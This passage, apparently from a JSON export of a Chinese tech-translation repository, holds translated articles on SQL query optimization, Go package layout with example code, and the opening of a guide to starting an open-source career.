的聚合函数。\n\n**提示**：在你使用所提出的方案的情况下，你应该意识到，所有的聚合函数比如 `SUM`，`AVG`，`MIN`，`MAX` 在多行的时候会导致很长时间的查询，在这种情况下，你可以尝试减少要处理的行数或预先计算这些值。当你决定使用哪个查询时，最重要的是清楚你的环境和查询目标。\n\n在使用列进行计算或者列作为标量函数的参数时，也是不会使用索引的。一个特定的解决方案是简单的隔离这个特殊列，使其不再是计算或者函数的一部分或参数。请考虑一下示例：\n\n    SELECT driverslicensenr, name\n    FROM Drivers\n    WHERE year + 10 = 1980;\n\n这看起来很有趣，是不？相反，试着重新考虑如何计算，然后像这样重写查询：\n\n    SELECT driverslicensenr, name\n    FROM Drivers\n    WHERE year = 1970;\n\n### 4. 不要暴力查询\n\n最后一个提示，你不应该总是太限制查询，因为这也会影响性能。特别是 `join` 语句和 `HAVING` 子句。\n\n当你对两个表使用 `join` 时，考虑你 join 的两张表的顺序是很重要的。如果一张表比另一张大很多，你最好重写你的查询让最大的表最后做 join 操作。\n\n- **减少 Joins 的条件**\n\n当你加了太多的条件到你的 joins 语句，你有义务选择一个特定的路径，虽然这个路径并不总是最高效的那个。\n\n将 `HAVING` 子句添加进 SQL 是因为 `WHERE` 关键字不能和聚合方法一起使用。`HAVING` 的典型的用法就是和 `GROUP BY` 子句来约束分组聚合后的结果，使其满足一些精确匹配条件。然而，你知道的，使用这个子句是不会用到索引的，会导致查询不能很好的执行。\n\n如果你在寻找替代的方案，考虑使用 `WHERE` 子句，请看如下的查询：\n\n    SELECT state, COUNT(*) FROM Drivers WHERE state IN ('GA', 'TX') GROUP BY state ORDER BY state\n\n    SELECT state, COUNT(*) FROM Drivers GROUP BY state HAVING state IN ('GA', 'TX') ORDER BY state\n\n第一个查询使用 `WHERE` 子句限制需要求和的行数，而第二个查询对表中的所有行进行了求和，然后使用 `HAVING` 子句来舍弃其中的部分。在这种情况下，选择使用 `WHERE` 子句显然是更好的，因为你不会浪费任查询资源。\n\n你会发现，这并不是限制最终结果集，而是限制查询中的中间记录的数量。\n\n**注意** 这两个子句之间的区别在于，`WHERE` 子句引入了单行的条件，而 `HAVING` 子句引入了一个选择集合或结果的条件，比如 `MIN`，`MAX`，`SUM`，… 这些都已经从多行生成了的。\n\n你看，当你想以尽可能的提高性能为前提的时候，评估语句质量，构建查询还有改写查询并不是一件容易的工作；当你构建运行在专业环境中的查询的时候，避免反模式和考虑替代方案也将成为你责任的一部分。\n\n这个清单只是一些小的反模式的概述和技巧，可能对新手有些帮助；如果你想了解更多高级开发人员常见的反模式，查看 stackoverflow 的[这个讨论](https://stackoverflow.com/questions/346659/what-are-the-most-common-sql-anti-patterns)。\n\n### 基于集合与程序方法的查询\n\n上述反模式隐含的点实际上归结为基于集合与程序方法构建查询的差异。\n\n程序方法的查询是一种很像编程的一种查询方式：你告诉系统做什么，怎么做。\n\n一个例子是你使用冗余的连接操作或者滥用 `HAVING` 子句的情况下，就像上面的例子，你可以通过执行一个函数调用另一个函数来查询数据库，或者使用包含循环，用户定义方法，游标等，来获取最终结果。在这个方法中，你会经常发现你自己请求一个数据的子集，然后再请求这个数据的子集等等。\n\n毫不奇怪，这个方法经常被称为「逐步」或者「逐行」查询。\n\n另一种方法是基于集合的方法，你只需要指定做什么。你的职责包含从查询中指定要获得的结果集的条件或要求。至于你的数据是如何获取到的，这取决于内部决定查询实现的机制：让数据库引擎来确定查询最好的算法和执行逻辑。\n\n由于 SQL 是基于集合的，这种方法（基于集合）比程序方法更有效几乎不会让人感到惊讶，这也是一个惊喜，也解释了为什么在某些情况下，SQL 可以比代码更快的工作。\n\n**提示** 在查询中基于集合的方法也是数据科学行业最顶级的雇主所要求你掌握的方法！你经常需要在这两种方法之间切换。\n\n**注意** 如果你发现你自己有程序类型的查询，你应该考虑重写或者重构它。\n\n### 从查询到执行计划\n\n-------------知道反模式不是静态的，而是随着你做为 SQL 开发者的成长而演进，当你考虑替代方案的时候也意味着你正在避免反模式查询和重写查询的这个事实，这是一个十分困难的任务。任何帮助都可以派上用场，这就是为什么使用一些工具通过更结构化的方式来优化你的查询或许是个不错的选择。\n\n**注意** 还有一些上一节提到的反模式源于性能的问题的考虑，比如 `AND`，`OR` 和 `NOT` 操作符缺少索引的使用。对性能的思考不仅需要结构化的方法，还需要更多的深入的方法。\n\n然而可能的是，这种结构化和深入的方法更多是基于查询计划的，即首先被解析为「解析树」，然后在确定每个操作具体使用什么算法，还有如何使执行操作更协调。\n\n正如你在介绍中读到的，你可能需要手动检查优化器的生成计划。在这种情况下，你将需要通过查看查询计划来再次分析你的查询。\n\n要掌握这种查询计划，你将需要使用数据库管理系统为你提供工具，你可以使用的工具如下：\n\n- 生成查询计划的图形表示的一些工具包，看以下这个例子：\n\n![](https://cdn-images-1.medium.com/max/1600/0*-TmIkwjfmJvRLngf.gif)\n\n- 其他工具将能够为你提供查询计划的文本描述。一个例子是 Oracle 中的 `EXPLAIN PLAN` 语句，但指令的名称根据你使用的 RDBMS 而有所不同。在其他数据库，你可能会看到 `EXPLAN`（MySQL，PostgreSQL）或者 `EXPLAIN QUERY PLAN`（SQLite）。\n\n**注意**如果你平时使用 PostgreSQL，你可以在 `EXPLAIN` 之间做出区分，这里你只得到了一个描述，它是说明还未执行的查询计划会如何执行，而 `EXPLAIN ANALYZE` 实际上执行了查询然后返回对预期与实际的查询计划的分析。一般来说，一个实际的执行计划就是一个实际的查询计划，虽然在逻辑上是等价的，一个实际的执行计划更为有用，因为它包含执行查询时实际发生的其他细节和统计信息。\n\n[在本节的剩余部分](https://www.datacamp.com/community/tutorials/sql-tutorial-query)，你将会学习到更多关于 `EXPLAIN` 和 `ANALYZE` 的信息，以及如何使用这两个去了解更多你的查询计划和查询性能的信息。\n\n**提示**：如果你想了解更多关于 `EXPLAIN` 或更详细的查看实例，考虑阅读 Guillaume Lelarge 写的这本书 [“Understanding Explain”](http://www.dalibo.org/_media/understanding_explain.pdf)。\n\n### 时间复杂度和大 O\n\n现在你已经简要的检查了查询计划，你可以在复杂度计算的帮助下开始更深入的研究具体的性能问题。理论计算机科学这一领域着重于根据难度对问题进行分类；这些计算问题可以是算法，也可以是查询。\n\n然而，对于查询，你并不一定是根据他们的困难程度分类，而是根据运行它然后拿到返回结果的时间来分类。这个被叫做时间复杂度，你可以使用大 O 符号来表达和衡量这种复杂性。\n\n使用大 O 符号，输入任意大时，你可以根据输入与运行时间的相对增长速度来衡量运行时间。大 O 表示法排除系数和低阶的项，以便于你关注查询运行时间的关键部分：增长率。当以这种方式表示时，丢弃系数与低阶的项，时间复杂度被认为是渐进式描述的。这意味着输入会变为无穷大。\n\n在数据库语言中，复杂度衡量了数据库表数据增加之后，查询该表数据所花时间相对增加了多少的过程。\n\n**注意**你的数据库大小不仅仅因为表里存储的数据增多而变大，索引在其中对大小影响也起了很大的作用。\n\n正如前面所述，执行计划除了前面所说的以外，还定义了每一步操作使用什么算法，这使得每次查询执行的时间可以在逻辑上表示为查询计划中涉及表大小的函数。换句话说，你可以使用大 O 符号和执行计划预估查询的复杂性和性能。\n\n在接下来的小节中，你会了解关于四种时间复杂度类型的一般概念，你将会看到一些示例，说明查询的时间复杂度如何根据你运行它们上下文的不同而有所不同的。\n\n提示：索引是故事的一部分！\n\n**注意**，因为不同的数据库有不同类型的索引、不同的执行计划、不同的实现，所以下面列出的几个时间复杂度是很通用的，会根据你配置的不同而变化。\n\n更多阅读在[这儿](https://www.datacamp.com/community/tutorials/sql-tutorial-query)。\n\n总而言之，你可以查看[以下备忘单](http://bigocheatsheet.com/)，以根据时间复杂度以及其执行情况估计查询的性能：\n\n![](https://cdn-images-1.medium.com/max/1600/0*1-0Qyw-DIAsqJNA0.png)\n\n### SQL 调优\n\n考虑到查询计划和时间复杂性，你可以考虑进一步调整 SQL 查询，特别注意以下几点：\n\n- 大表的全表扫描替换为索引的扫描；\n- 确保你正在使用最佳的表连接顺序；\n- 确保的使用索引优化；还有\n- 缓存小表的全表扫描。\n\n祝贺！你已经看到了这篇博文的结尾，这只是帮助你对 SQL 查询性能的一瞥。你希望对反模式，查询优化器，审查工具，预估和解释查询计划的复杂性有更多的见解，然而，还有更多的东西等你去发现！如果你想知道更多，可以考虑读这本由R. Ramakrishnan 和 J. Gehrke 写的「Database Management Systems」。\n\n最后，我不想错过这个来自 StackOverFlow 用户那里的引用\n\n> 「我最喜欢的反模式不是测试你的查询。\n>\n> 这适用于：\n>\n> - 你的查询涉及了不止一张表。\n>\n> - 你认为你的查询有一个优化的设计，但不愿意去验证你的假设。\n>\n> - 你会接受第一个成功的查询，它是否是最优的，你并不清楚。」\n>\n如过你想开始使用 SQL，可以考虑学习 DataCamp 的 [Intro to SQL for Data Science](https://www.datacamp.com/courses/intro-to-sql-for-data-science) 课程！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/standard-package-layout.md",
    "content": "> * 原文地址：[Standard Package Layout](https://medium.com/@benbjohnson/standard-package-layout-7cdbc8391fc1)\n> * 原文作者：[Ben Johnson](https://medium.com/@benbjohnson?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/standard-package-layout.md](https://github.com/xitu/gold-miner/blob/master/TODO/standard-package-layout.md)\n> * 译者：[steinliber](https://github.com/steinliber)\n> * 校对者：[Albert](https://github.com/Albertao)\n\n# 标准化的包布局\n\n![](https://cdn-images-1.medium.com/max/2000/1*9ViDbBWP6oIcfMvtc3n8_w.jpeg)\n\n一般来说是使用 Vendoring 作为包管理工具。在 Go 社区已经可以看到一些重要的问题，但是有一个问题在社区中很少被提及，即应用的包布局。\n\n我曾经参与编写过的每一个 Go 应用对这个问题似乎都有不同的答案， _我该如何组织我的代码？_ 。一些应用会把所有的东西都放到一个包里，而其它应用则会选择按照类型或模块来组织代码。如果没有一个适用于整个团队的策略，你将发现代码会散布在你应用不同包里面。对于 Go 应用程序包布局的设计我们需要一个更好的标准。\n\n我提议有一个更好的方式。通过遵循一些简单的规则我们就可以解耦我们的代码，使之更易于测试并且可以使我们的项目有一致的结构，在深入探讨这个方式之前，让我们来看下目前人们组织项目一些最常见的方式。\n\n* * *\n\n_更新：我收到了很多关于这种方式非常棒的反馈，其中最多的是想要看到一个使用这种方式构建的应用。于是我已经开始重新写一系列文章记录使用这种包布局方式来构建应用，叫做 [_Building WTF Dial_](https://medium.com/@benbjohnson/wtf-dial-domain-model-9655cd523182)._\n\n###  常见的有缺陷的方式\n\n现在似乎有几种通用的 Go 应用组织方式，它们都有各自的缺陷。\n\n#### 方法 #1： 单个包\n\n把你所有的代码都扔进一个包，对于一个小的应用来说这样就可以很好的工作。它消除了产生循环依赖问题的可能，因为在你的应用代码中并没有任何依赖。\n\n我曾经看到过使用这种方式构建超过 10K 行代码的应用 [SLOC](https://en.wikipedia.org/wiki/Source_lines_of_code)。但是一旦代码量超过这个数量，定位和独立你的代码将会变得非常困难。\n\n#### 方法 #2: Rails 风格布局\n\n另一种组织你代码的方式是根据它的功能类型。比如说，把所有你的 [处理器](https://golang.org/pkg/net/http/#Handler)，控制器，模型代码都分别放在独立的包中。我之前看到很多前 [Rails](http://rubyonrails.org/) 开发者(包括我自己)都使用这种方式来组织代码。\n\n但是使用这种方式有两个问题。首先你的命名将会变得糟糕透顶，你最终会得到类似 _controller.UserController_ 这样的命名，在这种命名中你重复了包名和类型名。对于命名，我是一个有执念的人。我相信当你在去除无用代码时名称是你最好的文档。好的名称也是高质量代码的代表，当其他人读代码时总是最先注意到这个。\n\n更大的问题在于循环依赖。你不同的功能类型也许需要互相引用对方。只有当你维护单向依赖关系时，这个应用才能够工作，但是在很多时候维护单向依赖并不简单。\n\n#### 方法 #3：根据模块组织代码\n\n这个方式类似于前面的 Rails 风格布局，但是我们是使用模块来组织代码而不是功能。比如说，你或许会有一个 _user_ 包和一个 _account_ 包。\n\n我们发现使用这种方式也会遇到之前同样的问题。我们最后也会遇到像 _users.User._ 这样可怕的命名。如果我们的 _accounts.Controller_ 需要和 _users.Controller_ 进行交互，那么我们同样会遇到相同的循环依赖问题，反之亦然。\n\n### 一个更好的方式\n\n我在项目使用的包组织策略涉及到以下4个简单的原则：\n\n1. Root 包是用于域类型的\n2. 通过依赖关系来组织子包\n3. 使用一个共享的 _mock_ 子包\n4. __Main__ 包将依赖关系联系到一起\n\n这些规则帮助隔离我们的包并且在整个应用中定义了一个清晰的领域语言。让我们来看看这些规则在实践中是如何使用的。\n\n### #1. Root 包是用于域类型的\n\n你的应用有一种用于描述数据和进程是如何交互的逻辑层面的高级语言。这就是你的域。如果你有一个电子商务应用，那你的域就会涉及到客户，账户，信用卡支付，以及存货等内容。如果你的应用是 Facebook，你的域就会是用户，点赞以及用户间的关系。这些是不依赖于你基础技术的东西。\n\n我把我的域类型放在 root 保存。这个包只包含了简单的数据类型，比如说包含用户信息的  _User_ 结构或者是获取和保存用户数据的 _UserService_ 接口。\n\n这个 root 包会像以下这样：\n\n```\npackage myapp\n\ntype User struct {\n\tID      int\n\tName    string\n\tAddress Address\n}\n\ntype UserService interface {\n\tUser(id int) (*User, error)\n\tUsers() ([]*User, error)\n\tCreateUser(u *User) error\n\tDeleteUser(id int) error\n}\n```\n\n这使你的 root 包变的非常简单。你也可以在这个包里放包含执行操作的类型，但是它们应该只依赖于其它的域类型。比如说，你可以在这个包加一个定期轮询 _UserService_ 的类型。但是，它不应该调用外部服务或者将数据保存到数据库。这些是实现细节。\n\n_root 包不应该依赖于你应用中的其它任何包_\n\n### #2. 通过依赖关系来组织子包\n\n如果你的 root 包并不允许有外部依赖，那么我们就必须把这些依赖放到子包里。在这种包布局的方式中，子包就相当于你域和实现之间的适配器。\n\n比如说，你的 _UserService_ 可能是由 PostgreSQL 数据库提供支持。你可以在应用中引入一个叫做 _postgres_ 的子包用来提供 _postgres.UserService_ 的实现。\n\n```\npackage postgres\n\nimport (\n\t\"database/sql\"\n\n\t\"github.com/benbjohnson/myapp\"\n\t_ \"github.com/lib/pq\"\n)\n\n// UserService represents a PostgreSQL implementation of myapp.UserService.\ntype UserService struct {\n\tDB *sql.DB\n}\n\n// User returns a user for a given id.\nfunc (s *UserService) User(id int) (*myapp.User, error) {\n\tvar u myapp.User\n\trow := db.QueryRow(`SELECT id, name FROM users WHERE id = $1`, id)\n\tif row.Scan(&u.ID, &u.Name); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &u, nil\n}\n\n// implement remaining myapp.UserService interface...\n```\n\n这样就隔离了我们对 PostgreSQL 的依赖关系，从而简化了测试，并为我们将来迁移到其它数据库提供了一种简单的方法。如果你打算支持像 [BoltDB](https://github.com/boltdb/bolt) 这种数据库的实现，就可以把它看作是一个可插拔体系结构。\n\n这也为你实现层级提供了一种方式。比如说你想要在 Postgresql 前面加一个内存缓存 [LRU cache](https://en.wikipedia.org/wiki/Cache_algorithms)。你可以添加一个 _UserCache_ 类型来包装你的 Postgresql 实现。\n\n```\npackage myapp\n\n// UserCache wraps a UserService to provide an in-memory cache.\ntype UserCache struct {\n        cache   map[int]*User\n        service UserService\n}\n\n// NewUserCache returns a new read-through cache for service.\nfunc NewUserCache(service UserService) *UserCache {\n        return &UserCache{\n                cache: make(map[int]*User),\n                service: service,\n        }\n}\n\n// User returns a user for a given id.\n// Returns the cached instance if available.\nfunc (c *UserCache) User(id int) (*User, error) {\n\t// Check the local cache first.\n        if u := c.cache[id]]; u != nil {\n                return u, nil\n        }\n\n\t// Otherwise fetch from the underlying service.\n        u, err := c.service.User(id)\n        if err != nil {\n        \treturn nil, err\n        } else if u != nil {\n        \tc.cache[id] = u\n        }\n        return u, err\n}\n```\n\n我们也可以在标准库中看到使用这种方式组织代码。_io._ [_Reader_](https://golang.org/pkg/io/#Reader) 是一个用于读取字节的域类型，它的实现是通过组织依赖关系 _tar._[_Reader_](https://golang.org/pkg/archive/tar/#Reader)，_gzip._[_Reader_](https://golang.org/pkg/compress/gzip/#Reader)，\n_multipart._[_Reader_](https://golang.org/pkg/mime/multipart/#Reader) 来实现的。在标准库中也可以看到层级方式，经常可以看到 _os._[_File_](https://golang.org/pkg/os/#File) 被 _bufio._[_Reader_](https://golang.org/pkg/bufio/#Reader)，_gzip._[_Reader_](https://golang.org/pkg/compress/gzip/#Reader)， _tar._[_Reader_](https://golang.org/pkg/archive/tar/#Reader) 这样一个个层级封装。\n\n#### 依赖之间的依赖\n\n依赖关系并不是孤立的。你可以把 _User_ 数据保存在 Postgresql 中，而把金融交易数据保存在像 [Stripe](https://stripe.com/) 这样的第三方服务。在这种情况下我们用一个逻辑上的域类型来封装对 Stripe 的依赖，让我们把它叫做 _TransactionService_ 。\n\n通过把我们的  _TransactionService_ 添加到  _UserService_ ，我们解耦了我们的两个依赖。\n\n```\ntype UserService struct {\n        DB *sql.DB\n        TransactionService myapp.TransactionService\n}\n```\n\n现在我们的依赖只通过共有的领域语言交流。这意味着我们可以把 Postgresql 切换为 MySQL 或者把 Strip 切换为另一个支付的内部处理器而不用担心影响到其它的依赖。\n\n#### 不要只对第三方的依赖添加这个限制\n\n这听起来虽然有点奇怪，但是我也使用这种方式来隔离对标准库的依赖关系。例如 _net/http_ 包只是另一种依赖。我们可以通过在应用中包含一个 _http_ 子包来隔离对它的依赖。\n\n有一个名称与它所包装依赖相同的包看起来似乎很奇怪，但是这只是内部实现。除非你允许你应用的其它部分使用 _net/http_ ，否则在你的应用中就不会有命名冲突。复制 _http_ 名称的好处在于它要求你把所有 HTTP 相关代码都隔离到 _http_ 包中。\n\n```\npackage http\n\nimport (\n        \"net/http\"\n        \n        \"github.com/benbjohnson/myapp\"\n)\n\ntype Handler struct {\n        UserService myapp.UserService\n}\n\nfunc (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n        // handle request\n}\n```\n\n现在，你的  _http.Handler_  就像是一个在域和 HTTP 协议之前的适配器。\n\n### #3. 使用一个共享的 mock 子包\n\n因为我们的依赖通过域接口已经和其它的依赖隔离了，所以我们可以使用这些连接点来注入模拟实现。\n\n这里有几个像 [GoMock](https://github.com/golang/mock) 的模拟库来帮你生成模拟数据，但是我个人更喜欢自己写。我发现许多的模拟工具都过于复杂了。\n\n我使用的模拟非常简单。比如说，一个对  _UserService_ 的模拟就像下面这样：\n\n```\npackage mock\n\nimport \"github.com/benbjohnson/myapp\"\n\n// UserService represents a mock implementation of myapp.UserService.\ntype UserService struct {\n        UserFn      func(id int) (*myapp.User, error)\n        UserInvoked bool\n\n        UsersFn     func() ([]*myapp.User, error)\n        UsersInvoked bool\n\n        // additional function implementations...\n}\n\n// User invokes the mock implementation and marks the function as invoked.\nfunc (s *UserService) User(id int) (*myapp.User, error) {\n        s.UserInvoked = true\n        return s.UserFn(id)\n}\n\n// additional functions: Users(), CreateUser(), DeleteUser()\n```\n\n这个模拟让我可以注入函数到任何使用 _myapp.UserService_ 的接口来验证参数，返回预期的数据或者注入失败。\n\n假设我们想测试我们上面构建的 _http.Handler_ ：\n\n```\npackage http_test\n\nimport (\n\t\"testing\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\n\t\"github.com/benbjohnson/myapp/mock\"\n)\n\nfunc TestHandler(t *testing.T) {\n\t// Inject our mock into our handler.\n\tvar us mock.UserService\n\tvar h Handler\n\th.UserService = &us\n\n\t// Mock our User() call.\n\tus.UserFn = func(id int) (*myapp.User, error) {\n\t\tif id != 100 {\n\t\t\tt.Fatalf(\"unexpected id: %d\", id)\n\t\t}\n\t\treturn &myapp.User{ID: 100, Name: \"susy\"}, nil\n\t}\n\n\t// Invoke the handler.\n\tw := httptest.NewRecorder()\n\tr, _ := http.NewRequest(\"GET\", \"/users/100\", nil)\n\th.ServeHTTP(w, r)\n\t\n\t// Validate mock.\n\tif !us.UserInvoked {\n\t\tt.Fatal(\"expected User() to be invoked\")\n\t}\n}\n```\n\n我们的模拟完全隔离了我们的单元测试，让我们只测试 HTTP 协议的处理。\n\n### #4. __Main__ 包将依赖关系联系到一起\n\n当所有这些依赖包独立维护时，你可能想知道如何把它们聚合到一起。这就是 _main_ 包的工作。\n\n#### Main 包布局\n\n一个应用可能会产生多个二进制文件， 所以我们使用 Go 的惯例把我们的 _main_ 包作为 _cmd_ 包的子目录。 比如，我们的项目中可能有一个 _myapp_ 服务二进制文件，还有一个用于在终端管理服务 的 _myappctl_ 客户端二进制文件。我们的包将像这样布局：\n\n```\nmyapp/\n    cmd/\n        myapp/\n            main.go\n        myappctl/\n            main.go\n```\n\n#### 在编译时注入依赖\n\n\"依赖注入\"这个词已经成了一个不好的说法，它让人联想到 [Spring](https://projects.spring.io/spring-framework/) 冗长的XML文件。然而，这个术语所代表的真正含义只是要把依赖关系传递给我们的对象，而不是要求对象构建或者找到这个依赖关系本身。\n\n在 _main_ 包中我们可以选择哪些依赖注入到哪些对象中。因为 _main_ 包只是简单的连接了各部分，所以 _main_ 中的代码往往是比较小和琐碎的。\n\n```\npackage main\n\nimport (\n\t\"log\"\n\t\"os\"\n\t\n\t\"github.com/benbjohnson/myapp\"\n\t\"github.com/benbjohnson/myapp/postgres\"\n\t\"github.com/benbjohnson/myapp/http\"\n)\n\nfunc main() {\n\t// Connect to database.\n\tdb, err := postgres.Open(os.Getenv(\"DB\"))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer db.Close()\n\n\t// Create services.\n\tus := &postgres.UserService{DB: db}\n\n\t// Attach to HTTP handler.\n\tvar h http.Handler\n\th.UserService = us\n\t\n\t// start http server...\n}\n```\n\n注意到你的 _main_ 包也是一个适配器很重要。他把所有终端连接到你的域。\n\n### 结论\n\n应用设计是一个难题。尽管做出了这么多的设计决策，如果没有一套坚实的原则来指导，那你的问题只会变的更糟。我们已经列举了 Go 应用布局设计的几种方式，并且我们也看到了很多它们的缺陷。\n\n我相信从依赖关系的角度来看待设计会使代码组织的更简单，更加容易理解。首先我们设计我们的领域语言，然后我们隔离我们的依赖关系，之后介绍了使用 mock 来隔离我们的测试，最后我们把所有东西都在 _main_ 包中绑了起来。\n\n可以在下一个你设计的应用中考虑下这些原则。如果有您有任何问题或者想讨论这个设计，请在 Twitter 上 @[benbjohnson](https://twitter.com/benbjohnson)与我联系，或者在[Gopher slack](https://gophersinvite.herokuapp.com/) 查找 _benbjohnson_  来找到我。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/start-your-open-source-career.md",
    "content": "> * 原文地址：[Start your open-source career](https://blog.algolia.com/start-your-open-source-career/)\n> * 原文作者：[Vincent Voyer](https://github.com/vvo/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/start-your-open-source-career.md](https://github.com/xitu/gold-miner/blob/master/TODO/start-your-open-source-career.md)\n> * 译者：[zwwill 木羽](https://github.com/zwwill)\n> * 校对者：[刘文哲](https://github.com/NeoyeElf)、[SeanW20](https://github.com/SeanW20)\n\n# 开启你的开源生涯\n\n今年我做了一次关于如何让开源项目获得成功的演讲，讨论如何通过做好各方面的准备，来确保让我们的开源项目吸引各种各样的贡献，包括提问、撰写文档或更新代码。之后我获得一个反馈信息，「你展示了如何让开源项目成功，这很棒，但**我的开源之路究竟该从何入手呢**」”。这篇文章就是对这个问题的回答，它解释了如何以及从何开始为开源项目做出贡献，以及如何开源自己的项目。\n\n这里所分享的知识都是有经验可寻的：在 [Algolia](https://github.com/algolia) 中我们已经发布并维护了多个开源项目，时间证明这些项目都是成功的，我也花费了大量的时间来参与和创立新的[开源项目](ttps://github.com/vvo)。\n\n## 千里之行始于足下\n\n![](https://blog.algolia.com/wp-content/uploads/2017/12/Pastebot-Dragged-Image-21-12-2017-140501-2.png)\n\n六年前在 [Fasterize](https://www.fasterize.com/en/) （一个网站性能加速器供应商），我职业生涯的关键时刻。我们在 [Node.js](https://nodejs.org/en/) workers 上遇到了严重的 [内存泄露问题](https://en.wikipedia.org/wiki/Memory_leak)。在检查完除 Node.js 源码外的所有代码后，我们并没有发现任何可造成此问题的线索。我们的变通策略是每天重启这些 workers 以释放内存，仅此而已，但我们知道这并不是一个优雅的解决方案，因此**我想整体地去了解这个问题**。\n\n当我的联合创始人 [Stéphane](https://www.linkedin.com/in/stephanerios/) 建议我去看看 Node.js 的源码时，我几乎要笑出来。心想：「如果这里有 bug，最大的可能是我们的，而不是那些创造了革命性服务端框架的工程师们造成的。那好吧，我去看看」。两天后，我的两个针对 Node.js http 层的[修复请求](https://github.com/nodejs/node-v0.x-archive/pull/3181#issue-4313777)被通过合并，同时解决了我们自己的内存泄露问题。\n\n这样做让我信心大增。在我敬重的其他 30 个对 http.js 文件作出贡献的人中，不乏 [isaacs](https://github.com/isaacs/) （npm 的创造者）这样优秀的开发者，这让我明白，代码就是代码，不管是谁写的。\n\n你是否正在经历开源项目的 bug？深入挖掘，不要停留在你的临时解决方案。你的解决方案会让更多人受益并且获得更多开源贡献。**读别人的代码**。你可能不会马上修复你的问题，它可能需要一些时间来理解，但是您将学习新的模块、新的语法和不同的编码形式，这都将促使你成为一个开源项目的开发者。\n\n## 车到山前必有路\n\n[![First contributions labels on the the Node.js repository](https://blog.algolia.com/wp-content/uploads/2017/12/image6.png)](https://blog.algolia.com/wp-content/uploads/2017/12/image6.png)\n\n_[Node.js 仓库](https://github.com/nodejs/node/labels/good%20first%20issue)上的首次贡献的标签_\n\n「我毫无头绪」是那些想为开源社区做贡献但又认为自己没有好的灵感或项目可以分享的开发者们共同的槽点。好吧，对此我想说：that’s OK。是有机会做开源贡献的。许多项目已经开始通过标注或标签为初学者列出优秀的贡献。\n\n你可以通过这些网站找到贡献的灵感：[Open Source Friday](https://opensourcefriday.com/), [First Timers Only](http://www.firsttimersonly.com/), [Your First PR](https://yourfirstpr.github.io/), [CodeTriage](https://www.codetriage.com/), [24 Pull Requests](https://24pullrequests.com/), [Up For Grabs](http://up-for-grabs.net/) 和 [Contributor-ninja](https://contributor.ninja/) (列表出自 [opensource.guide](https://opensource.guide/how-to-contribute/#finding-a-project-to-contribute-to)).\n\n## 构建一些工具\n\n工具化是一种很好的方式来发布一些有用的东西，而不必过多的考虑一些复杂的问题和 API 设计。您可以为您喜欢的框架或平台发布一个模板，将一些博客文章中的知识和工具使用姿势汇集到这个项目中进行诠释，并准备好实时更新和发布新特性。[create-react-app](https://github.com/facebookincubator/create-react-app) 就是一个很好的例子🌰。\n\n[![Screenshot of GitHub's search for 58K boilerplate repositories ](https://blog.algolia.com/wp-content/uploads/2017/12/image5-2.png)](https://blog.algolia.com/wp-content/uploads/2017/12/image5-2.png)\n\n_在 GitHub 上有大约 [五万九千个模板](https://github.com/search?utf8=%E2%9C%93&q=boilerplate&type=) 库，发布一个并不是难事反而对你有益_\n\n现在，你仍然可以像我们给 Atom 构建[模版自动化导入插件](https://blog.algolia.com/atom-plugin-install-npm-module/)那样对 [Atom](https://github.com/blog/2231-building-your-first-atom-plugin) 和 [Visual Studio Code](https://code.visualstudio.com/docs/extensions/overview) 进行构建纯 JavaScript 插件。那些在 Atom 或者 Sublime Text 中已经存在了的优秀插件是否还没有出现在你最爱的编辑器中？**那就去做一个吧**。\n\n你甚至可以为 [webpack](https://webpack.js.org/contribute/writing-a-plugin/) 或 [babel](https://github.com/thejameskyle/babel-handbook) 贡献插件来解决 JavaScript 技术栈的一些特殊用例。\n\n好的一面是，大多数的平台都会说明**如何创建和发布插件**，所以你不必太过考虑怎么做到这些。\n\n## 成为新维护者\n\n当你在 GitHub 上浏览项目时，你可能时常会发现或者使用一些**被创建者遗弃的项目**。他们仍然具有价值，但是很多问题和 PRs 被堆放在仓库中一直没有得到维护者的反馈。**此刻你该怎么办**？\n\n* 发布一个新命名的分支\n* 成为新的维护者\n\n我建议你同时做掉这两点。前者将帮助推进你的项目，而后者将使你和社区受益。\n\n你可能会问，怎样成为新的维护者？发邮件或者在 Twitter 上 @ 现有维护者，并且对他说「你好，我帮你维护这个项目怎么样？」。通常都是行之有效的，并且这是一个很好的方法能让你在一个知名且有价值的项目上开启自己的开源生涯。\n\n[![Example message sent to maintain an abandoned 